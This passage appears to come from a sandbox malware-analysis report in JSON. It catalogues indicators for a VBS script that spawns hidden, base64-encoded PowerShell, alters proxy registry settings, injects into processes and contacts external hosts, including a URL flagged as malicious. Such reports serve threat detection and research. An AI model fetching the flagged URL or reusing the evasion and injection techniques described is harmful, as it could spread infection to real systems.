\"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"System Security","name":"Deletes registry keys","description":"\"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"INTRANETNAME\"; Value: \"\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"INTRANETNAME\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1070","relevance":3,"id":"registry-170","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$44","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$45","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")\n \"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.LNK\"; Key: \"ALWAYSSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$46","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Commandline contains PowerShell","description":"$47","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-510","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Commandline contains long base64 encoded string","description":"Commandline contains long base64 encoded string \"Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287.......\" in [Source : 00000000-00002752]\n Commandline contains long base64 encoded string \"4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51.......\" in [Source : 00000000-00002752]","origin":"File/Memory","mitre_attack_id":"T1132","relevance":5,"id":"string-509","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops cabinet archive files","description":"\"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002752]\n \"Cab8E67.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%TEMP%\\Cab8E67.tmp]- [targetUID: 00000000-00002752]","origin":"Binary File","mitre_attack_id":"T1560","relevance":10,"id":"binary-5","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002752]\n Dropped file: \"W5QMSBYDTM2JFXSMFHV2.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\W5QMSBYDTM2JFXSMFHV2.temp]- [targetUID: 00000000-00003724]\n Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002752]\n Dropped file: \"ZK2DQA241HPPG99LKDYM.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\ZK2DQA241HPPG99LKDYM.temp]- [targetUID: 00000000-00002752]\n Dropped file: \"VR7V0BTQ38W0RIS2AOFU.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\VR7V0BTQ38W0RIS2AOFU.temp]- [targetUID: 00000000-00002396]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$48","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Ability to hide a payload in the commandline","description":"Process \"powershell.exe\" based on artifact \"frombase64string\" (UID: 00000000-00003724)\n Process \"powershell.exe\" based on artifact \"frombase64string\" (UID: 00000000-00002752)","origin":"Monitored Target","mitre_attack_id":"T1140","relevance":10,"id":"target-43","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"Process \"%WINDIR%\\system32\\PING.EXE\" launched with commandline \"ping 127.0.0.1 -n 5\" (UID: 00000000-00003684)","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Uses powershell with a windows hidden commandline param","description":"$49","origin":"Monitored Target","mitre_attack_id":"T1564.003","relevance":7,"id":"target-114","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Shows ability to use data encoding technique","description":"The analysis shows indicators which shows data encoded. Matched sigs: Ability to hide a payload in the commandline","origin":"Indicator Combinations","mitre_attack_id":"T1132","relevance":3,"id":"summary-30","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"8/90 reputation engines marked \"https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg\" as malicious (8% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/58 Antivirus vendors marked sample as malicious (6% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"suspicious","category":"General","name":"Executes powershell with commandline","description":"$4a","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"suspicious","category":"General","name":"References URL in command line","description":"$4b","origin":"Monitored Target","mitre_attack_id":"T1105","relevance":1,"id":"target-174","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Executes a VBS file","description":"Process \"WScript.exe\" with commandline \"\"C:\\\\EGK.vbs\"\" (UID: 00000000-00003604)","origin":"Monitored Target","mitre_attack_id":"T1059.005","relevance":10,"id":"target-17","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"WScript.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 776)\n \"WScript.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 776)\n \"WScript.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 776)\n \"powershell.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 988)\n \"powershell.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 988)\n \"powershell.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 988)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.67.215.45 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" connects to 172.67.215.45 on port 443 (TCP); Domain: \"uploaddeimagens.com.br\"\n Process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" connects to 209.197.3.8 on port 80 (TCP)","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Checks network status using ping","description":"Process \"PING.EXE\" with commandline \"ping 127.0.0.1 -n 5\" (UID: 00000000-00003684)","origin":"Monitored Target","mitre_attack_id":"T1018","relevance":5,"id":"target-22","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to load binary assembly using powershell","description":"$4c","origin":"Monitored Target","mitre_attack_id":"T1620","relevance":5,"id":"target-252","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes a process with a long commandline","description":"$4d","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-31","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behavior","description":"The script produces internet activity\n is obfuscated and drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$4e","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"WScript.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00000764)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00000764)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00000764)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00000764)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"WScript.exe\" called \"LoadResource with parameter {'hModule': '1464392155137', 'hResInfo': '1464392163552'}\" (UID: 00000000-00000764)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '1464392155137', 'hResInfo': '1464392163584'}\" (UID: 00000000-00000764)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '1464392155137', 'hResInfo': '1464392163600'}\" (UID: 00000000-00000764)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '1464392155137', 'hResInfo': '1464392163568'}\" (UID: 00000000-00000764)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObjectEx\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"Found string \"function ConvertFrom-SddlString\" (Indicator: \"ConvertFrom-SddlString\"; Source: \"00000000-00002120.00000000.244061.C54A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00005228-00000BC0-2789683910\")\n Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00002120.00000000.244061.C51D0000.00000004.mdmp, 00000000-00002120.00000001.244972.C51D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00002120.00000000.244061.C54A0000.00000004.mdmp, 00000000-00002120.00000001.244972.C54A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"WScript.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"WScript.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"cmd.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$4f","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"powershell.exe\" queried SystemProcessInformation at 00000000-00005228-00000C15-2790938083 [PID: 5228]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00005228-00000C15-2790944774 [PID: 5228]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00005228-00000C15-2792089091 [PID: 5228]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00008104-00000C15-2796274023 [PID: 8104]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00008104-00000C15-2796280707 [PID: 8104]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00008104-00000C15-2797298153 [PID: 8104]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00002120-00000C15-2802114965 [PID: 2120]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002120.00000000.244061.C51D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00002120.00000000.244061.67C20000.00000004.mdmp\")\n Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00005228.00000000.243438.67C10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002120.00000000.244061.C51D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002120.00000000.244061.67C20000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002120.00000001.244972.67CB0000.00000004.mdmp\")\n Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00005228.00000000.243438.67C10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp, 00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005228-00000C2C-2790241086\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005228-00000C2C-2790936878\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005228-00000C2C-2790241086\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005228-00000C2C-2790936878\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00005228-00000C2C-2789494997\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00005228-00000C2C-2789495275\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005228-00000C2C-2791396335\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005228-00000C2C-2791396376\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00002120-00000C2C-2803980107\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosErrorNoTeb\" in \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00005228-00000C2C-2790712685\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00005228-00000C2C-2790712726\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"WScript.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00000764)\n \"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005228)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"WScript.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00000764)\n \"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004532)","origin":"API 